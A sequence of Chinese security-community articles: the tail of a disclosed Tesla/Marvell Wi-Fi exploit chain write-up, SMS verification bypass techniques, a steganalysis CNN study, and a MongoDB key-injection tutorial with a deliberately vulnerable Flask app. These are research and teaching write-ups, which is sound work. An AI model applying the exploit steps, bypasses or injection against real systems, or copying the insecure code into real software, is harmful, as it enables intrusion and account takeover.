token，这意味着memcpy()接收的长度只能是0xffffffff。源地址是固定的，因为该内存块是从内存池pool_start_id_rmlmebuf分配的，并且这个内存池只有一个内存块。目的地址是从内存池pool_start_id_tx分配的，所以目的地址可能是四个地址中的某一个。
源地址及目的地址均位于RAM内存区域0xC0000000~0xC003FFFF，但是内存地址0xC0000000到0xCFFFFFFF都是合法的。结果就是，读或写下面这些内存区域会得到完全一样的效果。
因为内存区域0xC0000000到0xCFFFFFFF都是可读可写的，所以复制过程几乎不会碰到内存的边界。在复制了0x40000个字节后，整个内存可被看作是整体移位了，其中有些数据被覆盖并且丢失了。
88w8688中的CPU是单核的，所以复制过程中芯片不会崩溃直到有中断产生。因为这时内存已被破坏，在大多数情况下，芯片崩溃在中断过程中。
中断控制器给中断系统提供了一个接口。当一个中断产生时，固件可从寄存器中获取中断事件类型并调用相应的中断处理过程。
中断源有很多，所以漏洞触发后，芯片可能崩溃在多个位置。
一个可能性是中断0x15的处理过程中，函数0x26580被调用。0xC000CC08是一个链表指针，这个指针在漏洞触发后可能会被篡改。然而，对这个链表的操作很难给出获得代码执行的机会。
另一个崩溃位置在时钟中断的处理过程中。处理过程有时会进行线程的切换，这时其他任务会被唤醒，那么复制过程就会被暂停。然后芯片可能崩溃在其他任务恢复运行之后。在这种情况下，固件通常崩溃在函数0x4D75C中。
这个函数会读取一个指针0xC000D7DC，它指向结构TX_SEMAPHORE。触发漏洞后，我们可以覆盖这个指针，使其指向一个伪造的TX_SEMAPHORE结构。
typedef struct TX_SEMAPHORE_STRUCT{ ULONG tx_semaphore_id; CHAR_PTR tx_semaphore_name; ULONG tx_semaphore_count; struct TX_THREAD_STRUCT *tx_semaphore_suspension_list; ULONG tx_semaphore_suspended_count; struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_next; struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_previous;} TX_SEMAPHORE;
如果伪造的TX_SEMAPHORE结构中的tx_semaphore_suspension_lis指针刚好指向伪造的TX_THREAD_STRUCT结构。那么当函数_tx_semaphore_put()更新TX_THREAD_STRUCT结构中的链表的时候，我们可以得到一次任意地址写的机会。
我们可以直接将”BL
os_semaphore_put”指令的下一条指令改成跳转指令来实现任意代码执行，因为ITCM内存区域是RWX的。困难在于我们需要同时在内存中堆喷两种结构TX_SEMAPHORE和TX_THREAD_STRUCT，并且还要确保指针tx_semaphore_suspension_list指向TX_THREAD_STRUCT结构。这些条件可以被满足，但是利用成功率会非常低。
我们主要关注第三个崩溃位置，在MCU中断的处理过程中。指向struct_interface结构的指针g_interface_sdio会被覆盖。
struct struct_interface{ int field_0; struct struct_interface *next; char *name_ptr; int sdio_idx; int fun_enable; int funE; int funF; int funD; int funA; int funB; // 0x24 int funG; int field_2C;};
结构中函数指针funB会被使用。如果g_interface_sdio被篡改，那么就会直接实现代码执行。
这是当函数interface_call_funB()中的指令”BX
R3”在地址0x3CD4E执行时的一份寄存器日志信息。此时，g_interface_sdio被覆盖成了0xabcd1211。
LOG_BP_M0_CPSR : 0xa000009bLOG_BP_M0_SP : 0x5fec8LOG_BP_M0_LR : 0x3cd50LOG_BP_M0_SPSP : 0xa00000b2LOG_BP_M1_CPSR : 0xa0000092LOG_BP_M1_SP : 0x5536cLOG_BP_M1_LR : 0x4e3d5LOG_BP_M1_SPSP : 0xa0000013LOG_BP_M2_CPSR : 0LOG_BP_M2_SP : 0x58cb8LOG_BP_M2_LR : 0x40082e8LOG_BP_M2_SPSP : 0LOG_BP_R1 : 0x1cLOG_BP_R2 : 0LOG_BP_R3 : 0xefdeadbeLOG_BP_R4 : 0x40c0800LOG_BP_R5 : 0LOG_BP_R6 : 0x8000a500LOG_BP_R7 : 0x8000a540LOG_BP_R8 : 0x140LOG_BP_R9 : 0x58cb0LOG_BP_R10 : 0x40082e8LOG_BP_FP : 0LOG_BP_IP : 0x8c223fa3LOG_BP_R0 : 0xabcd1211
函数interface_call_funB()在地址0x4E3D0处被MCU中断的处理过程使用。
当复制的源地址到达0xC0040000时，整个内存可被看作是做了一次偏移。当复制的源地址到达0xC0080000时，整个内存偏移了两次。每次偏移的距离如下。
0xC0016478-0xC000DC9B=0x87DD0xC0016478-0xC000E49B=0x7FDD0xC0016478-0xC000EC9B=0x77DD0xC0016478-0xC000F49B=0x6FDD
在多数情况下，漏洞触发后再产生中断时，这样的内存偏移会发生3至5次。所以指针g_interface_sdio会被来自下列地址的数据所覆盖。
0xC000B818+0x87DD*1=0xC0013FF50xC000B818+0x87DD*2=0xC001C7D20xC000B818+0x87DD*3=0xC0024FAF0xC000B818+0x87DD*4=0xC002D78C…0xC000B818+0x7FDD*1=0xC00137F50xC000B818+0x7FDD*2=0xC001B7D20xC000B818+0x7FDD*3=0xC00237AF0xC000B818+0x7FDD*4=0xC004B700…0xC000B818+0x77DD*1=0xC0012FF50xC000B818+0x77DD*2=0xC001A7D20xC000B818+0x77DD*3=0xC0021FAF0xC000B818+0x77DD*4=0xC002978C…0xC000B818+0x6FDD*1=0xC00127F50xC000B818+0x6FDD*2=0xC00197D20xC000B818+0x6FDD*3=0xC00207AF0xC000B818+0x6FDD*4=0xC002778C…
地址0xC0024FAF、 0xC00237AF和0xC0021FAF刚好位于一个巨大的DMA buffer
0xC0021F90~0xC0025790之中。这个DMA buffer用于存储无线芯片接收到的802.11数据帧。所以这个DMA
buffer可以用来堆喷伪造的指针。
为了堆喷伪造的指针，我们可以发送许多正常的802.11数据帧给芯片，其中填满了伪造的指针。DMA
buffer非常大，因此shellcode也可以直接放在数据帧中。为了提高利用的成功率，我们用了Egg Hunter在内存中查找真正的shellcode。
如果g_interface_sdio被成功的覆盖。Shellcode或egg
hunter会非常的接近0xC000B818。我们所使用的伪造指针是0x41954，因为在地址0x41954+0x24处有一个指针0xC000B991。这样，我们可以劫持$PC到0xC000B991。同时，指针0x41954可被作为正常的指令执行。
54 19 ADDS R4, R2, R504 00 MOVS R4, R0
用这种方法有25%的成功率获得代码执行。
## 攻击主机系统
内核驱动中的漏洞可通过由芯片发送命令数据包给主机系统来触发。命令HostCmd_CMD_GET_MEM通常由函数wlan_get_firmware_mem()发起。
这种情况下，pdata_buf指向的buffer由kmalloc()分配，所以这是一个内核堆溢出。在真实环境中函数wlan_get_firmware_mem()不会被用到，并且堆溢出的利用较复杂。
然而，一个被攻陷的芯片在返回某个命令的结果时可以更改命令ID。因此漏洞可以在许多命令的处理过程中被触发。这时，根据pdata_buf指向的位置，漏洞即可以是堆溢出也可以是栈溢出。我们找到了函数wlan_enable_11d()，它把局部变量enable的地址作为pdata_buf。因此我们可以触发一个栈溢出。
函数wlan_enable_11d()被wlan_11h_process_join()调用。显然HostCmd_CMD_802_11_SNMP_MIB会在与AP的连接过程中被使用。固件中的漏洞只能在Parrot已经加入AP后使用。为了触发wlan_enable_11d()中的栈溢出，芯片需要欺骗内核驱动芯片已经断开与AP的连接。接着，驱动会发起重连，在这个过程中HostCmd_CMD_802_11_SNMP_MIB会发送给芯片。于是，为了触发重连过程，芯片需要发送EVENT_DISASSOCIATED事件给驱动。
当在芯片中触发漏洞并获得代码执行之后芯片不能再正常工作。所以我们的shellcode需要自己处理重连过程中的一系列命令并返回相应的结果。在命令HostCmd_CMD_802_11_SNMP_MIB来到之前，唯一一个我们要构造返回结果的命令是HostCmd_CMD_802_11_SCAN。下面是断开连接到触发内核漏洞的整个过程。
SDIO接口上事件和命令数据包的发送可直接通过操作寄存器SDIO_CardStatus和SDIO_SQReadBaseAddress0来完成。SDIO接口上获得内核发来的数据可借助SDIO_SQWriteBaseAddress0寄存器。
## Linux系统中命令执行
Parrot的Linux内核2.6.36不支持NX，所以可以直接在栈上执行shellcode。同时结构HostCmd_DS_COMMAND中的size是u16类型，所以shellcode可以足够大来做许多事情。
在触发栈溢出并控制$PC之后，$R7刚好指向内核栈，所以可以很方便的执行shellcode。
在shellcode中的函数run_linux_cmd调用了Usermode Helper API来执行Linux命令。
## 远程获取shell
在漏洞触发后，芯片中的内存被完全破坏无法继续正常工作。同时内核栈已损坏，无法正常工作。
为了让Parrot的无线功能可以重新正常工作，我们做了如下事情：
1.在向内核发送完payload之后，我们通过如下命令重置了芯片。在这之后，内核驱动会重新发现芯片然后重新下载固件。
*(unsigned int *)0x8000201c|=2;*(unsigned int *)0x8000a514=0;*(unsigned int *)0x80003034=1;
2.在shellcode的函数fun_ret()中调用内核函数rtnl_unlock()来解开rtnl_mutex锁。否则Linux的无线功能会无法正常功能，导致Parrot被CID重启。
3.在shellcode的函数fun_ret()中调用do_exit()来终止用户态进程wpa_supplicant并重新运行，这样就不需要修复内核栈。
4.杀掉进程ck5050并重新运行，否则稍后ck5050会因芯片重置而崩溃，导致Parrot被CID重启。
为了远程获取shell，我们强制让Parrot连入我们自己的AP并修改iptables规则。之后，便可通过23端口访问到Parrot的shell。
最终拿到shell的成功率在10%左右。
## 完整的利用过程
1. 攻击者发送DEAUTH帧给附近的所有AP。
2. 当Tesla重连至AP时，攻击者可以嗅探到特斯拉的MAC地址。
3. 堆喷伪造的指针，然后发送Action帧来触发固件中的漏洞。
4. 函数memcpy()会一直工作直到有中断产生。
5. 在芯片内成功执行任意代码。
6. 第一阶段shellcode发送EVENT_DISASSOCIATED事件给驱动。
7. 第一阶段shellcode处理一系列命令并等待命令HostCmd_CMD_802_11_SNMP_MIB。
8. 第一阶段shellcode通过SDIO接口发送payload来触发内核栈溢出。
9. 第二阶段shellcode执行并调用call_usermodehelper()函数。
10. 成功执行Linux系统命令并尝试修复Parrot的无线功能。
11. 攻击者搭建自己的AP热点及DHCP服务器。
12. 通过Linux命令强制Parrot加入攻击者建立的AP热点并修改iptables规则。
13. 攻击者可通过Parrot的23端口获得Parrot的shell。
## 演示视频
## 总结
在这篇文章中，我们展示了Marvell无线芯片固件及驱动中漏洞的具体细节，并演示了如何利用这两个漏洞仅通过发送无线数据包的形式远程在Parrot系统内部实现命令执行。
## 负责任的漏洞披露
本文所提到的两个漏洞已于2019年3月报告给Tesla，Tesla已经在2019.36.2版本中对该漏洞进行了修复。同时，Marvell也修复了该漏洞并针对该漏洞发布了安全公告[4]。漏洞研究报告的披露已事先与特斯拉沟通过，特斯拉对我们的发布知情。
你可以通过下列链接来跟踪本文提到的漏洞。
1. <https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105>
2. <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040>
3. <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038>
4. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581>
5. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582>
## 参考资料
[1] <https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044>
[2] <https://www.marvell.com/wireless/88w8688/>
[3] <https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf>
[4] <https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/>
* * * | 社区文章 |
### 前言
前些日子在h1溜达的时候发现时看到国外的一位师傅对短信身份验证的安全风险，进行了总结，我将其翻译过来并结合自己以往的一些测试经验进行补充。
### 涉及到的安全风险
**账户接管**
这个是短信身份验证最严重的安全风险，攻击者可以窃取任意用户的账户，甚至是事先不知道用户的手机号码
**用户模拟**
与上面的类似，但是这个的风险取决于具体的服务。通常，如果可以进行模拟，由于确认机制相同，因此也有可能窃取已注册的帐户。
**短信轰炸**
短信轰炸可以针对客户或任何其他人。易受攻击的Web应用程序的身份验证界面用于发送消息。对于Web服务本身，轰炸可能导致客户忠诚度和声誉受损。
**资源枯竭**
这里是指，web接口为了发送短信，需要连接到短信服务的提供商，而后者会对每条消息进行收费，因此，短信轰炸期间，短信验证码接口的账户余额可被消耗殆尽。
### 测试人员该如何寻找
**验证码发送次数限制**
这种机质可能会引起用户无法正常登陆，或者无法完成身份验证。
**验证码发送次数限制绕过**
* 例如发送一定数量的验证码址后，这里假定10次，提示验证码发送次数上限，但是点击发送还是可以继续发送验证码。而且后续发送的验证码和第十的验证码一样（这里感谢manba师傅在某次分享中提到的思路）
* 针对发送次数前端验证，可以修改前端进行绕过。
* 针对发送次数服务端验证，可以尝试在手机号码后面加上空格来进行绕过。
**错误次数限制**
这个是短信验证码爆破的最常见的安全风险，目前大多数短信验证码都是4-6位纯数字，最多的请求次数位100万，这针对于现代web服务来说并不算多。
**针对错误次数限制绕过**
* 针对错误次数在cookie里面进行限制，我们可以尝试删除cookie中的某个参数，达到绕过错误次数限制
* 针对错误次数前端验证，可以修改前端错误次数来进行绕过。
* 针对错误次数服务端验证，可以尝试在手机号码后面加上空格来进行绕过。
**验证码生效时间限制**
在某些时候，错误次数不受限制，但是验证码生效时间很短，比如三分钟生效时间，三分钟内发送100万个请求还是很难的。但是这里验证码生效时间在代码实现上根本没有限制。因为应用程序在发送验证码的时候发送了相同的验证码
显然，开发人员认为，如果没有输入之前的验证码，那么验证码就还算是安全的，可以不用再次生成。因此我们可以在2.5到3分钟之间再次发送请求，接受验证码，即可继续爆破。
**相同的验证码用于不同的动作**
比如注册用户处的验证码次数不受限制，而且他的验证码可以用来进行另一项操作，比如用户登陆。我们可以先在用户登陆处让应用程序发送一个验证码，然后给注册用户接受验证码的api处发送验证码，当验证码正确的时候，程序会返回“该用户已注册”，然后我们在使用此验证码进行登陆，来入侵任何用户的账户。
**不安全的随机数**
验证码本身必须是随机的不可预测的。如果验证码可预测（例如取决于 Unix时间的当前秒 ）则任何用户都可以被入侵
我们发现的错误之一是，导致此漏洞的原因不在于验证码，而在于发送验证码时候会给每个验证码分配一个全局标识符，当给任何用户发送验证码的时候该标识符都会递增。
当用户发送验证码进行验证时候，以下的json请求就会发送到服务器
`{"code":"1111","verification_code_id":6717620}`
我们则可以尝试登录或注册的其他用户，然后发送不正确的确认代码获取到`verification_code_id`值，然后将当前值递增并且发送验证请求。从而阻止其他用户并导致拒绝服务
**用户封锁**
前面描述的漏洞和相应的攻击是Dos攻击的特例
如果在超出错误次数限制或者发送验证码次数时阻止了用户帐户，则可能会大量拒绝服务：攻击者可以简单地对每个客户端进行几次不成功的身份验证尝试，从而阻止所有帐户。当然，为此，他需要知道他们的电话号码或登录名。
**短信轰炸**
短信发送次数显示限制不仅应限制使用单个电话号码登录的尝试次数，还应限制对整个应用程序的请求次数，因为攻击者可能尝试不对特定用户执行洪水攻击，而是大规模执行，以破坏服务本身（触发DoS或耗尽资金）。
这里会涉及到两种类型，只针对某一用户发送大量的验证码；还有一种是针对大量用户发送验证码。（国内大部分都是不收取此类漏洞的）
**短信嗅探**
通过短信发送验证码是不安全的，拦截方式有很多种。虽然通常这些都不是web服务本身的弱点引起的，但是在开发时有必要考虑此类攻击的风险。
### 推荐防御方式
* 使用6位的确认码，甚至可以加上字母
* 限制来自一个IP地址的身份验证尝试的次数和频率
* 考虑当前会话中的尝试次数和电话号码的总数
* 几次尝试失败后，请勿阻止用户帐户
* 对于每次登录尝试，生成一个新的不可预测的唯一标识符
* 使用单独的验证码来确认每个操作
* 不要使用可预测的标识符和确认码
* 对于高度敏感的操作，请勿使用SMS确认，执行适当的2FA或至少推送通知或呼叫。
我想能不能使用多因素身份认证。针对是否在常用地址，是否是常用的登陆ip，甚至是用户登陆绑定mac地址之类的。我记得社区有篇文章是关于多因素身份认证的讨论，但是我忘了收藏找不到了。
### 参考文章
<https://blog.deteact.com/common-flaws-of-sms-auth/> | 社区文章 |
# 彩色图隐写术检测分析探究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.前言
在现实生活中，恐怖分子嵌入秘密指令的载体往往是彩色图像而不是灰度图像，本文经过调查研究，提出一个针对彩色图像的隐写检测分析方案，具有很好的隐写检测正确率。
## 2.研究内容
### 2.1图像表示规范
给一个RGB真彩色图像X，它的大小是MxN。X被表示为红、绿、蓝三个颜色通道{X1,X2,X3}，其中，，，，。隐写算法被应用于彩色图像上，相当于将+1或-1的隐写噪声添加到每个颜色通道上。因此，经过隐写后，彩色图像X的每个颜色通道可以被表示为，其中，表示对应的颜色通道，，表示添加的隐写噪声。对于一个原始图像，，的值都是0，表示未添加隐写噪声。
### 2.2两种卷积方式
所有的深度学习隐写分析都基于卷积神经网络CNN。CNN的主要部分是不断交替使用的卷积层、正则层和池化层的堆叠体，在它们的最顶部即最后输出结果的位置是可选的多个全连接层。卷积层是CNN的核心组成部分。对于一个卷积层，设当前卷积层是，它将上层J通道的输出特征图，作为输入，与JxK个卷积核做卷积运算生成一个K通道的输出，。在图像隐写分析领域，，和是一个二维矩阵。标准卷积运算可表示为：
如下图。
设计一种通道级别的卷积运算方式，它是标准卷积运算的一个变体。在通道级别的卷积运算方式中，输入变量的每个通道与K个卷积核做运算后生成对应K个通道的值，这样当输入变量是J个通道时，输出特征图的通道数为JxK，此时卷积可表示为：
如下图。
### 2.3两种卷积方式对隐写分析的贡献
对于隐写分析工作，彩色隐写图像的三个颜色通道相同位置的强度值显示出很强的相关性。从统计的角度来看，它们的均值（或期望）相似，但颜色通道间由隐写噪声+1或-1造成的差异非常小。
设E([·])和Var([·])表示矩阵[·]的期望和方差，Corr([·], [·])表示矩阵[·]和[·]的相关性。在隐写分析领域信噪比SNR可表示为：
对于标准卷积，对彩色隐写图像做卷积运算生成一个K通道的输出特征图，则计算过程可表示为：
此时，信噪比可表示为：
初始化，已知，则。
设，，已知彩色图隐写术将隐写信号尽可能均匀地嵌入到三个颜色通道中，因此，设，，则
因为卷积运算属于线性变换类别，而线性变换不会影响变量的相关性，因此，
已知对于彩色隐写图，经统计各通道相同位置隐写噪声的相关性不超过0.3，因此设置。则：
而对于通道级别的卷积运算方式，则不存在通道间隐写噪声相关性的比较，对于每个颜色通道，有：
分析可知，，，标准卷积确实削弱了信噪比，通道级别的卷积运算方式则有效地提高了信噪比。因此，标准卷积能保留隐写图内容的相关性，却削弱了隐写噪声，而通道级别的卷积运算方式则有效地保留了隐写噪声。
### 2.4隐写分析模型
在模型底层即输入彩色图的位置，使用通道级别的卷积运算方式能更好地保留隐写图像的隐写特征，并选择空域富模型的高通滤波器初始化卷积核从而更好地提取隐写特征。在之后的卷积层中，连接特征图，使用标准卷积保留并训练丰富的隐写特征内容。最后使用全连接层汇聚特征做预测。
模型基本架构如下图。模型将真彩色图像作为输入，并对输入图像的红色、绿色和蓝色通道分别应用通道级别的卷积运算方式。在这一过程，分配给每个通道的卷积核权重通过SRM中的30个高通滤波器进行初始化，以提高信噪比。因此，每个通道与三十个5
x
5的已初始化的卷积核权重矩阵进行卷积，并对应生成三十个通道的特征图。注意，在训练过程中，本文将卷积核权重矩阵设置为可学习模式，即在训练过程中权重矩阵值会随着训练而变化。然后将三个独立的输出通道组连接在一起，以形成第二个卷积层的90通道的输入特征图。
从第二个卷积层开始，即应用标准卷积运算方式。在这一阶段，正常的卷积层中结构依次是卷积运算层、BN层、ReLU层和平均池化层，在第一个正常卷积层中添加了绝对值操作获取卷积运算后的绝对值。因为预处理层得到的隐写残差信息经过卷积运算后具有符号对称性，取其绝对值更有利于增强模型的特征表达。在此阶段中，从底部到顶部的正常卷积层的输出特征图的大小分别为256
x 256、128 x 128和32 x
32。为了保持每个卷积层的复杂度从而更好地进行隐写特征的提取和处理，将每个卷积层中的卷积核数相应地增加了四倍，这样，输出特征图的数量分别为72
，288和1152。在最顶部的正常卷积层后面，将输出特征图以32的步幅合并，合并后的特征向量作为全连接网络的输入。在最高层的全连接网络中，所有三个隐藏层都使用ReLU激活功能，最后一个全连接层包含两个神经元表示预测的正常图像和隐写图像的结果。
在卷积网络的顶部，有一个四层全连接神经网络，可以汇聚特征进行最终的分类预测。全连接网络层分别包含800、400、200和2个神经元。
网络结构的核心代码如下：
本文实验的数据源是BOSSBase v1.01，将其图像集通过转换和隐写操作生成1000对彩色的原始图像和隐写图像。mini-batch随机梯度下降方法训练模型，设置batch_size为16，设置学习率为0.001。在10000对原始图像和隐写图像中，随机选择5000对用于训练，1000对用于验证，4000对用于测试。
2.5底层优化的卷积核对隐写性能的贡献
在模型底层通道级别的卷积运算中，卷积核数值使用高通滤波器初始化后，还会随着网络的训练过程不断优化，最终有效地提升模型的隐写分析性能。但这里优化的详细作用一直众说纷纭。本文针对当前模型解释这一优化的详细作用。
自从提出了空域富模型SRM以来，模型多样性对于隐写分析的性能至关重要。因此，本文认为本隐写分析模型的性能提高归功于模型底层卷积层中经过不断学习和优化卷积核带来的模型多样性，并认为底层卷积层的卷积核不能有效地提升信噪比。下面详细展开说明。
底层卷积核可分为三个通道的卷积核，记为，，则不同通道卷积核权重的相关性的平均值可记为：
可用于评估底层卷积核的多样性，其值越小，则卷积核相关性越弱，多样性越丰富。初始状态下，是SRM中的高通滤波器，因此初始状态下，表示卷积核相关性最强，多样性差。在训练过程的模型验证中，随着模型性能提升，发现卷积核权重通过学习不断更新数值，然而却不断减小，说明更新后的卷积核多样性越来越丰富，卷积核多样性和模型的性能是正相关的。
在上文中有提到隐写分析领域信噪比SNR的计算方法，其中假设，则对于一个图像定义，，则。设是与的夹角，夹角的变化程度可通过余弦相似度的绝对值来表示：
，
当与的夹角越逼近时，越接近1，在初始状态。在训练过程的模型验证中，可知一直逼近1而没有什么明显的升降趋势，这有力地证明了在训练过程中，一直逼近0，即约等于，则，因此对于本模型，前述信噪比SNR的假设是合理的，推导过程是正确的。
所以，底层卷积层的卷积核权重通过不断优化，增加了卷积核权重的丰富性，这有效地提升了模型的隐写分析性能。
### 2.6实验结果
对图像集做了HILL隐写术操作和隐写分析，结果如下，可知隐写分析模型具有良好的准确率。
核心网络代码链接：
https://github.com/HYWZ36/Color_Steganalysis
## 参考资料：
<http://dde.binghamton.edu/download/ImageDB/BOSSbase_1.01.zip>
https://ieeexplore.ieee.org/document/7109899
https://ieeexplore.ieee.org/document/7342902
https://ieeexplore.ieee.org/document/8664587
https://ieeexplore.ieee.org/document/7084325 | 社区文章 |
# 攻击MongoDB姿势之MongoDB注入
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.technopy.com/mongodb-injection---how-to-hack-mongodb.html>
译文仅供参考，具体内容表达以及含义原文为准。
现在,我几乎在我所有的项目中都使用了MongoDB。无论是在日常工作中,还是在开发我自己的项目,它都是一款非常优秀的数据库系统。但是,它也存在着一些相对比较少见的问题,可能很多用户和开发人员都没有注意到这些问题,但这些问题有可能会使你所开发出来的程序安全性大打折扣。除此之外,我还想指出的是,NoSQL注入已经不是一个新的概念了,我们只需要上网进行一些简单的搜索,我们就可以找到大量关于NoSQL注入的内容。NoSQL,泛指非关系型的数据库。NoSQL数据库的产生就是为了解决大规模数据集合以及多重数据种类带来的挑战,尤其是它能够解决大数据应用方面难题。
此前,由于我在开发项目过程中的操作失误,才使得我能够发现这个问题。在这篇文章中,我将主要对这个问题进行讨论,并且向大家解释如何利用这个漏洞来修改数据库中的数据记录。这个漏洞相对来说是比较明显的,而且也可以很容易避免这个漏洞所带来的影响。但是在很多其他的地方,SQL注入的问题虽然也很明显,但它仍然是一个令人头疼的问题,很多开发人员仍然会不可避免地掉入SQL注入的陷阱之中。而我也不例外,我也掉入了MongoDB的陷阱之中。当我对这个问题进行了细致地分析和研究之后,我对这些问题也有了更加深入地了解,所以我想要通过这篇文章来跟大家分享一下我所学到的东西。
在我开始对这个有趣的问题进行讲解之前,我想要对MongoDB中一些能够触发漏洞的功能进行讲解。
MongoDB是一个基于分布式文件存储的开源数据库系统,该数据库是由C++语言编写的。在高负载的情况下,开发人员可以添加更多的节点,以保证服务器性能。而MongoDB
的主要目的就是为WEB应用提供可扩展的高性能数据存储解决方案。MongoDB最大的特点就是它支持的查询语言非常的强大,其语法特点有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。MongoDB服务端可运行在Linux、Windows或mac
os
x平台之上,支持32位和64位应用,默认端口为27017。但是我推荐大家在64位平台上运行MongoDB,因为MongoDB在32位模式运行时支持的最大文件尺寸仅为2GB。
除此之外,MongoDB还可以利用访问嵌套密钥来更新数据对象。接下来我将通过示例来跟大家讲解。
在数据库中的记录形式如下所示:
{
name:"John",
info:{
age:65
}
}
我们通过下列操作语句,就可以更新这条数据记录:
db.people.update({"name":"John"}, {"$set":{"info.age":66}})
怎么样?这个功能很棒吧!而且使用起来也是非常的方便。
但是,当子密钥没有进行硬编码处理的话,问题就出现了。如果用户可以手动选择发送出去的密钥呢?如果将上述的更新请求更改为下列形式呢?
keyName = request.form|'keyName'|
keyData = request.form|'value'|
db.people.update({"name":"John"}, {"$set":{"info.{}".format(keyName):keyData}})
为了证明我的想法,我在实际操作过程中对这种漏洞利用方式进行了测试。我在测试的过程中也发现,如果开发人员的编码方式存在问题的话,这将会引起非常严重的问题。下面给出的是整个应用程序的Python代码:
from flask import *
import pymongo
import bson
import uuid
db = pymongo.MongoClient("localhost", 27017).test
form = """
<html><head></head><body>
<form method="POST">
<input type="text" name="username" placeholder="Username">
<input type="text" name="password" placeholder="Password">
<input type="text" name="firstname" placeholder="Firstname">
<input type="text" name="lastname" placeholder="Lastname"/>
<input type="text" name="age" placeholder="Age">
<input type="submit" value="Submit">
</form></body></html>
"""
app = Flask(__name__)
app.secret_key = "secret"
@app.route("/logout/")
def logout():
session.pop("_id")
return redirect("/login/")
@app.route("/")
def index():
if "_id" not in session:
return redirect("/login/")
name = request.args.get("name")
lastname = request.args.get("lastname")
if not name:
return "<h1>Search for someone</h1><form method='GET'><input name='name' type='text' placeholder='First Name'><input name='lastname' type='text' placeholder='Last Name'><input type='submit'></form>"
else:
search_results = db.members.find_one({"{}".format(name):lastname})
if search_results:
search_results = name + " " + lastname + " is " + search_results['account_info']['age'] + " years old."
return "{}<form><input name='name' type='text' placeholder='First Name'><input name='lastname' type='text' placeholder='Last Name'><input type='submit'></form>".format(search_results)
@app.route("/login/", methods=['GET', 'POST'])
def login():
if request.method == "POST":
username = request.form['username']
password = request.form['password']
check = db.members.find_one({"username":username, "password":password})
if check:
session['_id'] = str(check)
return rediirect("/?name={}".format)
else:
return "Invalid Login"
return "<h1>Login</h1>" + form
@app.route("/signup/", methods=['GET', 'POST'])
def signup():
if request.method == "POST":
username = request.form['username']
firstname = request.form['firstname']
lastname = request.form['lastname']
password = request.form['password']
age = request.form['age']
session['_id'] = str(db.members.insert({"username":username, "password":password, firstname:lastname, "account_info":{"age":age, "age":age, "isAdmin":False, "secret_key":uuid.uuid4().hex}}))
return redirect("/")
return "<h1>Signup</h1>" + form
@app.route("/settings/", methods=['GET', "POST"])
def settings():
if request.method == "POST":
username = request.form['username']
firstname = request.form['firstname']
lastname = request.form['lastname']
password = request.form['password']
age = request.form['age']
db.members.update({"_id":bson.ObjectId(session['_id'])}, {"$set":{"{}".format(firstname):lastname, "account_info.age":age, "username":username}})
return "Values have been updated!"
return "<h1>Settings</h1>" + form
@app.route("/admin/", methods=['GET', 'POST'])
def admin():
if "_id" not in session:
return redirect("/login/")
theUser = db.members.find_one({"_id":bson.ObjectId(session['_id'])})
if not theUser['account_info']['isAdmin']:
return "You do not have access to this page."
if request.method == "POST":
secret = request.form['secret_key']
return str(db.members.find_one({"account_info.secret_key":secret}))
return """<h1>Search user by secret key</h1>
<form method="post"><input type="text" name="secret_key" placeholder="Secret Key"/><input type="submit" value="Serach"/></form>
"""
app.run(debug=True)
这个网站其实非常的简单。在这个网站中,有一个登录页面,一个注册页面,一个设置页面,和一个网站的主页面。用户在输入了某人的姓氏或者名字之后,系统将会返回这个人的年龄。虽然这段代码并没有什么实际的使用价值,但是正如我们在文章开头所提到的那样,其中的漏洞是非常明显的,所以我打算利用这个示例来对MongoDB中存在的问题进行讲解。现在,我们将进入“攻击者模式”…
首先,我们需要明确我们的目标-获取到系统管理页面的访问权。在进行了一些侦查之后,我们就会发现系统的管理页面位于/admin/目录之下,而普通的用户是没有权限访问这个页面的。除此之外,我们还获取到了数据库的整体架构,而这一信息将会极大程度地缩短我们攻击这个网站所需要的时间。具体信息如下所示:
{
"username" : "username",
"account_info" : {
"secret_key" : "secret",
"age" : 45,
"isAdmin" : false
},
"password" : "password",
"firstname" : "lastname"
}
代码中的Firstname:Lastname(姓名)键值对看起来非常的有趣。
首先,我需要创建一个账户,这样才可以获取到更多该网站提供的服务。当我注册并登录成功之后,我便尝试去访问/admin/目录节点,然后我所得到的网站返回信息如下图所示:
一切都在我的意料之中,果然是无法访问的。于是我便再次查看了该网站的整体架构,我认为isAdmin模块才是控制该页面访问权限的参数。而且考虑到姓名键值对(firstname:lastname)的结构,那么我们就可以通过设置页面来修改账户信息了。因为在该网站的设置界面中,允许用户修改“用户名”,“密码”,“姓氏”,以及“名字”等用户信息。
现在,我们将尝试注入一个值,并将isAdmin的值修改为“1”,在Python语言中,“1”表示为“真(True)”。
没有出现任何的错误提示,我的设置可能已经生效了。
关键的时刻来了…
成功了!我已经获取到了管理页面的访问权限了。
接下来,我们就需要知道如果用户拥有密钥的话,他们能够获取到什么样的信息呢?虽然我并没有所谓的密钥,但是我可以通过一些其他的手段来实现。
这样应该就可以进行查询了…
事实就是如此的可怕,一个漏洞就会拥有无限的可能性。这样一来,我就可以利用这个漏洞来对网站进行跨站脚本请求伪造攻击,不仅可以修改其他用户的密钥,而且还可以查看到网站数据库中所有的账户数据。而且,攻击者所能进行的操作远远不止于此。
